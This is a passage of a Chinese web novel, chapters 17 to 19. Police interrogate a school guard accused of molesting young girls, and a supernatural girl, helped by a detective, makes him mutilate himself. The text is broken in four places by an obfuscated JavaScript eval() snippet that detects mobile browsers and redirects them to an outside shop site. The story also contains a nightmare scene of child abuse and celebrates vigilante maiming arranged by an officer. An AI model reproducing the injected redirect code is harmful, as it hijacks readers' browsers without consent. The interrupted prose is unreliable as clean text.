楚子琦缓缓倾身,阴影笼罩下来:“还敢什么?” 孙全伟的瞳孔剧烈收缩,仿佛终于意识到自己说漏了嘴。 “警、警官……”他嗓音发颤,手指更加控制不住地抠着手铐,“我错了……我就是喝了点酒,一时头脑发昏……” “一时头脑发昏?喝酒还开车?酒驾啊……”楚子琦冷笑,将一叠照片甩在他面前,“解释解释,这瓶三一唑一仑是怎么回事?” 三一唑一仑是一种镇静安眠药物,大剂量服用可使人失去意识,俗称 “迷魂药”。 “我有失眠症……这是医生开的处方药……警官,我能提供看诊记录! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16521952|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这真的是冤枉啊……” “哦?”楚子琦不紧不慢地翻开另一份文件,“薛宓指认了你给她的养乐多有怪味,现在那瓶饮料正在加急化验。两小时后就能出结果。” 孙全伟盯着物证照片里的那瓶养乐多,瞳孔再度地震。 三一唑一仑确实是他治疗失眠症的处方药,但他在网上还真的买了其他迷药! 卖家信誓旦旦保证“大象都能放倒”,可薛宓当时很快就醒了过来……他以为自己买到了假药,就随手把那瓶下药的养乐多扔在了停车场的垃圾桶里。 没想到会被警察翻找出来…… 等等,薛宓知道养乐多有问题,却偏偏没有和他说!还主动跟着他上了楼! 一股寒意突然窜上脊背。 他清楚地记得自己既没关过机,更没看过什么短信。如果有老师报警的消息,借他十个胆子也不敢…… 而这短短的时间里,唯一接触过他手机的……只有薛宓! 他猛然想到,自己刚刚无意间听到,薛宓的哥哥竟就是警察! 他刚才只觉得自己怎么这么倒霉,怎么就偏偏挑中了这么个猎物。 可现在想来,这个小姑娘明显是故意接近他的!所以她没有被迷药放倒,所以她才会突然坐在了他的身上…… 他被设局了! 装作无父无母、天真无邪的孤儿,就是为了让他放松警惕。 “这是钓鱼执法!”孙全伟失控地喊出声,“那个小贱人故意接近我!她哥是警察!你们钓鱼执法!” 没想到这人非但不认罪,还污蔑他们钓鱼执法! 楚子琦眼底燃着暴怒的火星,一把按住他肩膀:“四年级的孩子设局抓你?一个才八岁的孩子,难道能未卜先知你是个畜生?!你有什么证据在这胡说八道!我们警方可不像你这么下作,会用未成年人当诱饵!” 证据…… 要证明薛宓这孩子有问题,要证明自己是被算计的,只需要调出行车记录仪的录像。可为了不留下证据,他早就关闭了所有记录设备。 现在,他什么证据都没有了…… 孙全伟被按在审讯椅上的身体开始不受控制地发抖。 但他并非不是悔过,也不是在反省自己对小学生起了那种龌龊心思,而是懊恼自己竟没有查清楚薛宓的背景,居然挑了个警察的妹妹下手! 他只是在悔恨,为什么自己不再谨慎一些…… 如果再多花点时间观察……如果再多点耐心…… 指节在铐住的手腕上掐出青白,他神经质地盘算着: 还好…… 薛宓衣服穿得好好的,他自己也没脱。警察破门时,只看见那丫头坐在他腿上——是她主动的!他当时被迷惑住了,甚至都没主动抱住她! 这个认知让他浑浊的眼珠突然亮起来。 对……就是那小贱人勾引我! 这个念头像救命稻草一样浮现在他脑海里。对,一定是这样!他可以咬死是薛宓主动接近他,是她在引诱他! “除了薛宓……”楚子琦的声音突然刺进耳膜,“林美美也作证了。” 孙全伟不敢置信地抬头。 林美美?! 那个胆小如鼠、连话都不敢大声说的女孩,竟然也敢指认他?! “她说你在保安室强抱猥亵她。” “胡说八道……是她自己来保安室的!我、我们只是普通聊天!” 看了一眼传过来的笔录和证据,楚子琦冷冷道:“每次接触未成年人,每次都恰巧没有监控记录。但你以为关了保安室的监控就万事大吉?” 楚子琦将手机屏幕推到他面前。“走廊监控清清楚楚拍到她哭着跑出去,而你——” 视频里,林美美惊慌失措的身影正夺门而出,身后是孙全伟唐突伸出的手和那张扭曲的脸。 “慌慌张张想追人的样子,可不像你说的什么普通聊天。引诱、威胁、恐吓,证据链很完整。” 17.审判 单向玻璃的另一侧,观察室内正静坐着三个人影。 作为薛宓的临时监护人,贺黎筠正配合女警完成笔录工作。这位温柔的女警就是之前摸摸头给薛宓零花钱的刑警槿菁。 根据未成年人保护条例,未成年受害者不得与犯罪嫌疑人直接对质,整个笔录过程都必须避免任何可能刺激受害者的行为。 但规定拦不住薛宓的好奇心,她执意要听孙全伟的审讯过程,所以自刚才起他们就一直在观察室里做笔录。 “这个垃圾!”槿菁愤怒地攥紧笔,“当场被抓还敢狡辩?还反咬我们钓鱼执法?!” 她转头看向薛宓,语气瞬间柔和下来:“小妹妹别怕,法律不会放过他的,就算他死不认罪,证据也足够钉死他!” 她话音刚落,一直沉默的贺黎筠却突然开口道:“槿菁,我和薛宓单独谈谈。” 他的声音低沉,眉宇间凝着一层化不开的冷峻。槿菁动作一顿,目光在贺黎筠紧绷的下颌线和薛宓安静垂落的睫毛间转了个来回。 “贺哥……”她终究没忍住,一把将贺黎筠拽到角落,压低的声音里压着心疼,“我知道你很生气,孩子确实不该和陌生人回家,但孩子刚经历这种事……”她瞥了眼薛宓单薄的肩膀,“你待会儿……收着点脾气。” 贺黎筠没应声,只是微不可察地点了点头。 槿菁叹了口气,临走前轻轻揉了揉薛宓的发顶。 门关上的声音很轻,监控器的红色指示灯随之暗了下去。 终于等到两人独处的贺黎筠深吸一口气,转头敲了敲桌面:“解释一下,你明知道那个保安有问题,为什么不第一时间通知我?这就是你说的合作?” “哼。”薛宓撇过头,“我凭本事发现的猎物,为何要告诉你?这段时间,你也没给我带来什么猎物啊。你真的有把我当做合作对象吗?” 薛宓心里也积着一肚子的火,语气上免不了有些不客气。 “你知不知道有多危险?”没想到薛宓竟还没意识到自己的错误,自听到林美美遭遇后就压抑的怒气终于冲破了理智,贺黎筠冷声质问,“今天,孙全伟已经对林美美实施了猥亵!如果不是灯泡突然爆裂,你知道林美美会遭遇什么吗?” 话至一半,他却突然顿住。 灯泡为什么会突然爆裂? 林美美听到的脚步声……又是谁? 薛宓嗤笑一声:“那是她蠢,竟然敢一个人去找孙全伟玩什么游戏。” 她歪头,眼底带着讥诮:“话说,你有什么脸来质问我?如果不是我,她早就出事了。你们就算事后抓到人又怎么样,能抹掉她的阴影吗?还有,关键性的物证,还不是我提供的。光凭林美美的证词,你们真的能定孙全伟的罪吗?” 观察室里骤然安静。 贺黎筠深吸一口气,声音沙哑:“你原本想做什么?杀了他?” 薛宓站起身,走到他面前。 灯光下,她仰起脸,甜美的笑容、瓷白的肌肤让她看起来完全是个天真无邪的少女,唯有眼底那抹血色暴露了本质。 “我只是想引他体内的恶念出来……”她唇角微弯,“然后,吃掉。” 贺黎筠的眉头拧得更紧:“你说过,杀人犯的恶念最浓,这种猥亵犯身上也有?” “恶念就是恶念。你以为他只会猥亵?他现在只不过是胆子小罢了。一旦成功一次,就会有无数次。如果不除根,让他产生恐惧之情,他迟早会再犯。” 得知“恋童癖”这个词后,薛宓搜索出很多猥亵案的例子,大概对这个世界的法律有了一些了解。 “你看,他到现在都不觉得自己有罪,还对自己的罪行百般辩解。”她歪头,讥讽地笑,“他又不是杀人犯,就算被抓了,能判几年?而且你们警察能保证,他坐几年牢出来,就不会再犯?坐几年牢,就真的会改过了?” 她的声音轻飘飘的,却像一把钝刀,缓慢地割开现实的虚伪。 贺黎筠沉默。 薛宓低笑一声,指尖漫不经心地划过桌面:“你们抓他,判他,关他几年——然后呢?等他换个目标,再来一次?” “那一下次,他不再是猥亵,是强、奸呢。甚至为了灭口,变成杀人呢?” 她的眼神渐渐幽深。 “而我……可以让他永远失去作恶的能力。” “恐惧才是最好的枷锁。” 空气凝滞许久。 终于,贺黎筠闭了闭眼,指节缓缓松开。 “和之前一样。”他的声音压得极低,像是从齿缝间挤出来的妥协,“你躲在厕所隔间,等待时机。但动作快点,现在管得很严,需要两名办案人员全程陪同。” 薛宓眨了眨眼,那张稚嫩的小脸瞬间又挂上了天真无邪的笑容。 “你能想通就好~” 她轻盈地跳回椅子上,晃着双腿,冲他伸出手—— “合作愉快呀,贺警官。” 孙全伟的猥亵案涉及两位未成年受害者,哪怕仅凭言词证据,警方也足以对他采取刑事拘留。 只需在24小时内补强证据,只需在养乐多里检出三一唑一仑或其他违禁成分,案件就能从“重大嫌疑”升级为“证据确凿”,顺利呈报检察院批准逮捕。 但孙全伟却抱有一丝可能性——养乐多里检测不出任何违禁成分! 所以,待检测报告的这段时间,他拒不认罪,直到他的家属带着律师匆匆赶到。 “全伟,你……你怎么那么糊涂啊……” “妈,没事的,就算被抓了也判不了几个月……”他急切地转向律师,“是不是啊钱律师?我看那些新闻……” 快速翻动着警方列出的证据,钱律师眉头越蹙越紧:“临时起意摸抱未成年一到三年起判。但您利用保安身份作案,属于从重情节。如果检出迷药成分,证明有强一奸故意,可能判到五年。” 孙全伟的表情僵在了脸上。 五年? 他脑子里突然闪过那些社会新闻——明明有人强一奸也只判三年,强一奸未成年也就三到十年! 他不过就是摸抱了一下林美美,薛宓明明是她自己坐上来了,关他什么事!怎么就要五年了?!一定是哪里搞错了!!! “积极赔偿获得谅解书,可以减刑30%。”钱律师停顿片刻,声音压低,“但薛宓的监护人是刑警队的人,想从她那里拿到谅解书,基本是不可能。不过,林美美一家是低保户。老人家带着外孙女生活拮据,如果能给足费用,或许能让林美美一家改口供。” 林美美改口供又有什么用!薛宓的案子还是要判好几年啊! 孙全伟的喉结剧烈滚动,有些惊慌地抓住母亲的手:“妈!你帮我想想办法啊妈!” 虽然鄙夷这种对儿童下手的猥亵犯,但职业素养已经让钱律师速度写起了申诉状:“我们会申请排除非法证据,质疑迷药检测程序,要求调取完整监控……” 但孙全伟已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他颤抖着睁开眼,发现自己正站在一条狭窄的巷子里,身体不知为何变成了小孩的模样! 短小的手臂,稚嫩的掌心,甚至身上还套着小学的校服。 做梦,一定是在做梦! 孙全伟颤抖着抬起手,狠狠扇了自己一记耳光。 “啪!” 火辣辣的疼痛在脸颊炸开,可眼前的景象丝毫没有变化。 “欢~迎~来~到~找~东~西~的~游~戏~~~” 薛宓的声音从四面八方传来,带着诡异的笑意: “现在,轮到你藏啦~” 巷子深处,一个高大的黑影正缓缓地逼近着…… 恐惧的感觉瞬间袭来,他几乎想也没想,立刻迈动那双变得短小的腿,拔腿就跑。 不能被找到,找到就会—— 然而,成年男子的脚步声就像催命鼓点,他满身是汗,却还是被轻松地揪住了后衣领。 “找到你啦!跑什么呀?”粗粝的嗓音混着烟酒臭气喷在他后颈,“不是要和叔叔玩游戏吗?来,让叔叔猜猜,你把糖果藏在了哪里~” 孙全伟浑身发抖——这分明是他诱骗林美美的台词! 他想尖叫,喉咙却像被无形的手扼住,只能发出幼猫般的呜咽。 黑影笼罩下来的瞬间,他看清了对方的脸—— 赫然是另一个自己! 18.阉割 “叔叔给你买糖吃~来,亲一口叔叔!” “不是说最喜欢叔叔吗?怎么连让叔叔摸一下都不愿意了?” 那张油腻的脸上挂着熟悉的狞笑,长着老茧的手正扯开皮带:“不是最喜欢吃零食吗?尝尝叔叔的……” “不……不要!”孙全伟用童音哭喊,却被成年版的自己一把按在墙上。 粗糙的手掌顺着他的小腿往上摸,成年孙全伟兴奋地喘着粗气,另一只手掏出手机,“笑一笑,叔叔给你好好地检查一下……身体……” “住手!!” 凄厉的惨叫中,巷子突然天旋地转。孙全伟跪在血泊里,发现自己手里竟攥着一个破碎的酒瓶,而成年版自己正捂着鲜血淋漓的下一体哀嚎。 “砰——!” 幻境伴随着小便池爆炸的声音,轰然崩塌。 而现实中的厕所里,孙全伟竟蜷缩在血泊中,双手死死捂着血肉模糊的下一体,喉咙里挤出不似人声的嚎叫。 他的裤子被鲜血浸透,满地都是爆裂的小便池碎片,暗红的液体顺着瓷砖缝隙蜿蜒流淌,与小便池爆裂后漫出的水混在一起,现场惨不忍睹。 贺黎筠蹙着眉叫来了同事。 直到厕所重归寂静,他才走向最里侧的隔间,轻叩门板:“薛宓。” “嗯?”门缝里探出一张笑眯眯的小脸,薛宓仰着头,眼睛弯成月牙。 她心情很好。 贺黎筠垂眸看着她。 他不知道薛宓具体做了什么。本以为又会是那些吓唬人的把戏,但这次显然不同。 她的能力,明显变强了。 喉结滚动了一下,他低声道:“做得很好。” “我也觉得自己很棒。”薛宓毫不吝啬地自夸,“他经历的一切都是自己恶念的反噬。现在身上的恶念全被我吞噬干净了,以后肯定再也不敢了。” 她撇了撇嘴,抱怨道:“所以你干嘛非要赶过来?本来早就搞定了,现在浪费了那么长时间,还得躲躲藏藏怕被人发现。” 贺黎筠沉默。 他不知道薛宓吞噬大量恶念后,会进化成什么样子,所以这种小案子,他本不想让她插手。 可是—— 法律能审判罪恶,却未必能根除。 保护未成年受害者的法律太过薄弱,而保护未成年加害者的条款又太多。 哪怕是□□罪,也有“三年血赚五年不亏”的说法。那些出狱的人,谁知道会换个什么地方重新开始? 但是,那些受害者们能重新开始吗? 唯有没收犯罪工具。 很神奇,薛宓没有选择杀人,但她偏偏做了最精准的审判,让孙全伟付出了应有的代价。 ——是现在的他们无法做出的审判。 贺黎筠抿了抿唇:“你老师和同学都很担心你,让我尽快赶来救你。所以,我来了。” “那确实没办法了。她们刚刚哭得那么吵,要是你没来,估计要自己闯进来了呢。” 他不动声色地问:“她们对你都不错,你觉得她们怎么样?” 薛宓慌忙摆手:“太吵了,太爱哭了,我不喜欢这种。” “是吗?” 但偏偏,只有在她们面前,薛宓才会露出那种与“吞噬恶念”时截然不同的表情。 “薛宓……”他忽然问道,“你到底是什么?” 这是他第一次直白地问出这个问题。 “你总是把‘人类’挂在嘴边,那你呢?你曾经不是人吗?既然不是人,为什么会有名字?” 薛宓掏了掏耳朵,一脸不耐烦:“我自己取的名字不行吗?你管我是什么,别管太宽了。” 一个小时后,将孙全伟送医的楚子琦风风火火地推门而入,手里还攥着刚出炉的检测报告。 “检测结果出来了!养乐多里检出了γ-羟丁酸成分!” 证据确凿,可以正式批捕,将孙全伟送进看守所羁押了! 然而…… “这……不知道是不是报应……小便池突然爆炸,碎片竟扎在了孙全伟的那个上……”一想到那个触目惊心的场景,楚子琦自己都疼得有些龇牙咧嘴,“虽然及时送去了医院,但那些小碎片太多了,没办法一一清理,只能整个……手术掉了……” “卧槽……” 几个警察立刻围了上来。 “伤得这么重?!幸好那时候没上厕所……” “儿童猥亵犯,还是未遂,顶多判几年,他妈还让他律师想办法给他做无罪辩护呢,结果律师说这种情况能减到五年以下就不错了,没想到直接被物理阉割了……” “哎,保安猥亵小学生的事情还上了热搜呢,大家关于量刑吵得不可开交,没想到结局这么反转……” “男厕所不会真有鬼吗?上次那两个嫌疑人也是在这儿疯的!” “什么鬼,专盯人渣,那叫守护灵!” 路过的贺黎筠冷冷插话:“少宣扬封建迷信。” 楚子琦连忙追上去,压低声音:“贺哥,该不会是你……”他说了让贺哥别打脸,可……现在这样子,似乎有些太凶残了。 贺黎筠瞥了他一眼:“小便池爆开时,我一直站在厕所门口,走廊的监控是能拍到我的。这就是一起意外事故。” “对哦多哦。”楚子琦挠挠头。 跟在后面的薛宓突然探出脑袋,冲楚子琦甜甜一笑:“我们回家啦,楚哥哥拜拜。” 她蹦蹦跳跳地追上贺黎筠,马尾辫在脑后欢快地摇晃。 ——可是,她可以让监控拍不到她呀~ 当晚五点,阳光花园小区附近的业主群全部炸开了锅。 “阳光花园3栋出事了!” “听说是警察抓人?” “有个小姑娘在哭,哭得可惨了……” 短短几分钟,模糊的视频和照片就像野火般蔓延开来。画面里,穿着制服的警察破门而入,隐约能听见屋内传来撕心裂肺的哭喊声。 一个身材魁梧的保安被反剪双手押出来时,还在拼命挣扎。而更让人揪心的是,屋内的哭声此起彼伏,十分钟后才有一个小小身影,被警察用外套裹住抱离了现场。身后,还跟着一名年轻女性,怀里抱着另一个盖着一件衣服的小小身影。 “我是阳光花园的保安!”一位自称目击者的账号在微博发帖,“我当时正好在现场!那模样看着最多八、九岁!最可耻的是,这个姓孙的还是小学保安,在学校里猥亵了一个小学生,又骗了另一个小学生到家里猥亵!简直丧尽天良!就是有这种人存在,才败坏了我们保安的名声!幸好班主任及时报警,挽回了这场悲剧! 该帖迅速获得上万转发,评论区一片哗然,话题#小学保安猥亵女童#也在短短一小时内冲上了热搜前排。 【这些孩子是父母捧在手心的宝贝!在学校这种本该最安全的地方,竟然被这种畜生盯上?!教育局是干什么吃的?!保安入职不查背景吗?!@青江教育局 @阳光小学】 【听到哭声真的浑身发抖!孩子们纯真的笑脸,家长小心翼翼的呵护,结果在最该安全的校园里……(拳头硬了)这种禽兽就该化学阉割!】 【警察破门而入的视频我看了二十遍!听到小女孩哭声那刻心都揪起来了……万幸老师警觉,万幸警察神速!要是晚到十分钟,我这辈子都不敢想象……】 【给第一时间报警的老师点赞!这才是真正的守护者!】 【听到了没有@阳光小学 !请立即彻查此事!给举报老师颁发见义勇为奖金!】 【[怒]@阳光小学 装死呢?还不出来给个说法?!那个报警的老师必须重奖![怒]】 【呵呵,猥亵未遂也就处15日以下拘留。法律轻飘飘的惩罚,本质上就是在纵容犯罪……】 【上一个关15天,一看就罚这,那都蠢蠢欲动了。要是上一个判十年,这个就老实了。】 【别乱说,猥亵未成年,哪怕是未遂,也是刑事拘留,不是行政拘留!!!法律对猥亵未成年人有明确量刑标准,猥亵儿童一般处五年以下有期徒刑。@法海无边法大这里好多法盲,麻烦帮忙科普下!】 【五年,最多才五年?@青江公安到底是行政拘留,还是刑事拘留,快发通报!】 【所以,猥亵未遂成年人真的是15日以下拘留吗……我也是法盲,球球科普!】 在群众的怒火和追问下,青江公安官博发布了一则情况通报。 @青江公安:#警情通报#【关于阳光小学保安孙某某涉嫌猥亵儿童案的情况通报】经查,犯罪嫌疑人孙某某(男,37岁)利用职务便利,将未成年学生诱骗至其住所实施猥亵。目前孙某某已被刑事拘留,案件正在进一步侦办中。 尽管通报未提及细节,但某个匿名账号爆出的内幕消息,警方正在检测孙某某给受害者的养乐多,怀疑其有预谋犯罪可能。 法律博主@法海无边立刻发文解读:【根据现行法律,猥亵儿童的基础量刑是五年以下有期徒刑,未遂通常在五年以下有期徒刑内从轻或减轻处罚。例如2018年张某案,多次在小学周边尾随女童摸抱,量刑3年。2017年王某案,冒充家教老师猥亵1名9岁女童,量刑4年6个月。2019年刘某案,猥亵儿童+迷药,量刑6年。 本案嫌疑人目前只对两个女童摸抱,量刑应该在2-3年,但他是利用保安身份作案,属于从重情节,量刑增至3-4年。如检出迷药成分,证明其具有犯罪故意,将面临更重刑罚,大概率会判到5年以上。只要他积极赔偿,取得谅解书,认罪认罚,大概率不会判得比刘某案更高。】 该观点引发更大不满:【QJ也判不了几年,何况猥亵。难怪他们说什么三年血赚、五年不亏,下次还敢!】 【他们只判了几年,但受害者却是一辈子阴影!】 【建议修改刑法:初犯剁手,再犯阉割,三犯直接发射火星——反正地球法律管不住。】 就在这时,词条里一条不起眼的帖子突然被顶上了热门。 【#小学保安猥亵女童#三年前我就举报过这个孙全伟!他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541892|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某游泳馆当教练时总是“不小心”碰我女儿,我觉得他手放的位置太靠大腿内侧了,就举报了他!结果游泳馆说我想太多,教练纠正动作很正常!孙全伟还说要起诉我名誉侵权,后来被威胁又没有证据,只能不了了之。(附当年投诉记录截图)】 【细思极恐!这个孙全伟当过游泳教练+小学保安,两个都是能合法接触儿童的职业!查查他是不是专门考的这些岗位?!】 【不传播未成年人信息是对的,但畜生孙全伟的照片必须全网曝光!(附打码处理后的嫌疑人生活照.jpg)】 教育大V@守护雏鹰呼吁:【建议推广“黑名单”制度,禁止有性侵嫌疑者接触儿童行业!】 短短几小时,整个热搜词条里群情激愤,话题直冲热搜第一,阅读量破亿。 但很快,一则医院内部爆料贴吸引住了所有的目光。 【好消息好消息!没想到猥亵犯竟在我们医院!听送来的警察说,他在警局上厕所时小便池突然爆炸,碎片直接……(懂的都懂)现在在我们医院紧急手术中!估计下半辈子‘废了’!哈哈哈哈哈哈这报应也来得太快了吧哈哈哈哈哈哈!ps:陪同的警察哥哥真的好帅!】 【普天同庆!这报应来得比法律还快!老天都看不过眼了。】 【建议全国推广这种“智能小便池”,专治人渣!】 【虽然很惨,但为什么我嘴角疯狂上扬?】 【博主博主!你看到的那个帅气的警察哥哥,莫非是视频里那个第一个冲进去的警察哥哥?那个警察哥哥好帅啊!】 【我也是!被视频里第一个冲进去的警察哥哥圈粉了!后面把小女孩护在怀里出来的动作太帅了!这才是真正的守护者!(爱心)】 【不是不是,是那个把坏人抡翻铐上手铐的那个!(附一名警察侧影)】 评论区的画风逐渐跑偏。 【对对对,这个也很帅!虽然视频很糊,但警察哥哥怎么看上去都那么帅啊啊啊啊啊!果然帅的都上交国家了!!!】 【抱着小女孩的警察哥哥我见过!是之前公交纵火案里识破汽油桶的那位!他当时也是牵着一个小姑娘上车。后来,我还跟着去警局做笔录了!】 【天呐这么巧?我就是那辆巴士的乘客!那个纵火犯就住我们小区,做完精神鉴定就被强制医疗了!】 五点半时,崔芳华的手机突然炸开了锅。 隔壁小区警察破门抓人的视频传得沸沸扬扬,微信里接二连三地跳出消息,全都在问:“视频里那个警察是不是你儿子?” 虽然电话里,贺黎筠已经给她报了平安,可直到八点多,门锁才传来了转动声。 “怎么这么久……”崔芳华快步上前,却在看到薛宓哼着歌换拖鞋的模样时愣住。 哪怕薛宓天真无邪地和她说“什么也没发生”,她心里还是担心不已。 于是,趁着薛宓在玩平板,她紧张地将贺黎筠拽进卧室,声音压得极低:“薛宓那么好的孩子,遇到这种事……会不会留下心理阴影?要不要预约儿童心理医生?” 这么好的一个孩子……?好……? “……” 贺黎筠透过门缝望向客厅。 薛宓正盘腿坐在沙发上,指尖飞快滑动屏幕,不用猜也知道,肯定和刚才在车上一样,刷着#小学保安猥亵案#的热搜话题,欣赏着网友们对她杰作的肯定。 贺黎筠默默关上门:“妈,她真的没事。” 心理阴影……留下心理阴影的怕是犯罪者本人才对吧…… 毕竟犯罪者现在正躺在医院,某个重要器官已经永远离开了他的身体…… 至于,他为什么会知道她在看热搜?是因为她打字的时候发现自己没注册不能回评,就突然要了他的手机号说要注册微博。 贺黎筠自然不可能把自己的手机号给他! 万一她在网络上和别人对骂,最后被人起诉……查到的可是他的头上。 崔芳华急得直搓手:“怎么可能没事!网上都说那畜生用了迷药!” “她尝到怪味就吐掉了,没真喝下去。”见母亲还要追问,贺黎筠立刻补充,“明天我带她去儿童医院做全面检查,你别太担心了。” 崔芳华叹了口气,仍不放心地念叨:“学校那边先请几天假吧,让孩子好好缓缓。明天,我给她炖个人参鸡汤,好好补补……” 第二天清早,两人确实去了医院,不过目的地不是儿童医院,而是薛宓想要去欣赏她的杰作,让贺黎筠带她去孙全伟所在的三甲医院。 孙全伟是等待移交的犯罪嫌疑人。虽然刚经历重大手术还躺在重症监护室,但警方丝毫不敢松懈,门口一左一右守着两名刑警,探视者都需登记身份证件,禁止传递任何物品,且限时探视十五分钟。 贺黎筠以“办案需要”为由,和门口的两个刑警打好招呼后,就见薛宓蹦蹦跳跳地走向孙全伟的病床,像个普通探病的小女孩一样,穿戴全套无菌的隔离服。 ——如果忽略她眼底那抹兴奋的血色的话。 19.孙母 凌晨二点,孙全伟才做完手术。 他脸色灰败得像具尸体,在麻醉的余韵中昏昏沉沉。 时而梦见那个血色的巷子,时而梦见自己变成孩童的可怕经历。破碎的噩梦循环往复,直到清晨八点,一阵撕心裂肺的疼痛将他彻底刺醒。 “呃啊——!” 干裂的喉咙挤出一声嘶哑的声音,孙全伟艰难地撑开沉重的眼皮。 模糊的视线里,最先清晰的是天花板上刺眼的顶灯,紧接着是右手腕上传来的冰凉触感——他被一副手铐铐在了病床护栏上。 手铐。 是的,他被拘留了。 但他,为什么会在……医院的重症监护室? 下腹奇怪的剧烈疼痛,令他本能地想蜷缩身体,却在下个瞬间僵住了。 他慌张地伸手。 剧痛的位置,竟空空如也。 ——不是纱布包裹的触感,而是真正意义上的消失。 不,不可能! “醒了?” 清脆的童声在病房门口响起。 孙全伟浑身一颤,机械地转过头。一个穿着隔离服的身影猝不及防地映入眼帘,连同着噩梦中带着诡异笑意的声音:“哎呀,怎么对自己这么狠呀……可别以为自己切除了犯罪工具,就能免于坐牢哦~” 那个诡异的巷子。 那个变成小孩的自己。 还有那把锈迹斑斑的美工刀…… 是他自己,把自己……切了? “你……”孙全伟惊恐地瞪大眼睛,干裂的嘴唇颤抖着,却因为无力,只能挤出破风箱般的声音。 “嗬……嗬……” 像条被扔上岸的鱼,徒劳地张着嘴,却吸不进半点氧气。 因为他现在根本分不清,那些记忆究竟是真实发生的,还是自己仍在麻醉的噩梦里…… “滴——滴——滴——” 心率和血压骤然飙升,触发了心电监护仪的警报,护士们迅速围拢过来:“快叫值班医生!203床病人醒了,但情况不对!” 而始作俑者薛宓,早已乖巧地退到走廊墙边,双手背在身后,歪着头露出担忧的表情。 只有贺黎筠注意到,她藏在背后的手指,正愉悦地轻轻敲击着墙面。 确认孙全伟无碍后,贺黎筠带着薛宓刚要离开,迎面就撞见了得知儿子醒来的孙母。 孙母红肿的眼睛在看清他们的瞬间迸出怨毒的光,发疯般扑了上来:“是你们害了我儿子!全伟是在刑警支队里出的事,还是你陪同上厕所的时候!是不是你在厕所里动了手脚?是不是你故意拖延时间?是不是你害他耽误了治疗?现在他连男人都做不成了!” 她歇斯底里地抓住贺黎筠的衣领:“我只有全伟一个儿子,你害我儿子绝了后!” 因为警察不能伤无辜百姓,面对这种歇斯底里的嫌疑人母亲,贺黎筠也只是冷冷推开她,将薛宓护在了身后:“孙女士,小便池爆炸事件已有专业检测报告证实是意外事故。如果您对调查结果有异议,可以申请行政复议。当时,我站在门口,全程都有监控。从听到爆炸声到同事将他护送上救护车,全程不超过十分钟。因为第一时间送医,他才能及时动手术保全性命。您若再这样造谣诽谤,我就要以袭警和诽谤立案了。” 孙母闻言,脸色瞬间煞白,随后泪眼婆娑地跪了下来:“警官,是我们全伟错了……是他年轻不懂事,是他昏了头……十万!我们赔十万!求求您们签个谅解书……” “不签。”贺黎筠的声音冷得像冰。 “二十万……他才三十几岁,还很年轻,就已经这样了……下半辈子都毁了……”孙母哭得浑身发抖,“您就当可怜可怜我这个当妈的,放全伟一条生路吧……” 贺黎筠居高临下地看着她:“生路?只是没了下半身,又不是没了命。他对那些未成年小姑娘这么做的时候,有考虑过她们的人生吗?我们是不会签的。” “薛同学……薛同学……孙叔叔真的错了,你……”贺黎筠一把推开她,拉着看戏的薛宓就走。 孙母瘫坐在地上,哭得歇斯底里:“你们……你们非要这么绝情吗……” 贺黎筠能毫不犹豫地拒绝那二十万,但对林美美的家人来说,这笔钱却像一块烫手的诱惑。 接到孙母哭着打过来的电话,他们眼里满是挣扎。 这笔钱足够让美美去市里最好的中学,甚至还能存下一笔大学学费。可良心却像压了块石头…… 所以,婉拒了。 但他们很快接到了贺黎筠的电话。 “孙全伟因小便池爆炸永久丧失了性功能,考虑到案件特殊性,刑警支队会协助申请部分人道主义赔偿……所以,可以再提高些金额再签。” “我们这边不会签谅解书,你们就算签了,最多也就减刑三个月。”电话那头停顿了一下,“这笔赔偿金,就当是给美美的补偿。孩子太缺乏父爱才会被骗。有了这笔钱,改善生活环境,一切都会好起来的。” “谢、谢谢贺警官……” 关断电话,贺黎筠长舒了一口气。 他向来不愿接手未成年受害者的案子。因为每次这种类似的案件,胸口都会憋着一股如鲠在喉的窒息感。但这次,这口气却顺了下来。 他抬起头,就见自己打电话的功夫,薛宓已经从便利店里买了两个冰激凌,兴高采烈地朝着他走来。 他下意识地伸出手,却见她直接把冰激凌往怀里一藏,不满地瞥了他一眼:“两个都是我的,想吃自己买去。” 贺黎筠:“……” 他揉了揉太阳穴。现在站在医院门口,他才反应过来。 薛宓分明不是人类,为什么能吃人类的食物……? 最初和他一起送医检查时,那些精密的CT机、血常规化验,为何都显示她只是个普通小女孩? 他终究没忍住问出了口。 “因为我血肉拟态成了人类啊~”薛宓含着嘴里化开的冰激凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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《阳光小学关于保安人员事件的情况说明》 